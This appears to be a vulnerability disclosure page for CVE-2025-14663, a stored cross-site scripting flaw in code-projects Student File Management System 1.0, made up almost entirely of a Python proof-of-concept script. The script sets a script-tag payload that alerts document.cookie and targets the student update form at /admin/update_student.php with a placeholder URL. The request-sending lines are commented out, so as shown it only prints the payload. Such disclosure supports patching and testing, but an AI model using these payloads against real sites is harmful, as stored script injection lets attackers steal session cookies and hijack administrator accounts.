CVE-2025-14663 code-projects Student File Management System 1.0 存储型XSS漏洞

#!/usr/bin/env python3 # CVE-2025-14663 PoC - Stored XSS in Student File Management System # Affected Component: /admin/update_student.php # Attack Type: Stored XSS import requests import sys target_url = "http://target-site.com" admin_path = "/admin/update_student.php" # Malicious JavaScript payload for XSS xss_payload = "<script>alert(document.cookie)</script>" def exploit_xss(): """ Exploit the stored XSS vulnerability in update_student.php This PoC demonstrates how to inject malicious JavaScript through the student update functionality. """ # Prepare the malicious request # The payload is injected into student information fields data = { 'student_id': '1', 'name': xss_payload, 'email': f'test<script>alert("XSS")</script>@example.com', 'action': 'update' } # Send the malicious request # If vulnerable, the XSS payload will be stored and executed # when the student record is viewed print(f"[*] Sending XSS payload to {target_url}{admin_path}") print(f"[*] Payload: {xss_payload}") # Note: Authentication with admin credentials required # session = requests.Session() # session.post(login_url, data=credentials) # response = session.post(target_url + admin_path, data=data) return True if __name__ == "__main__": exploit_xss()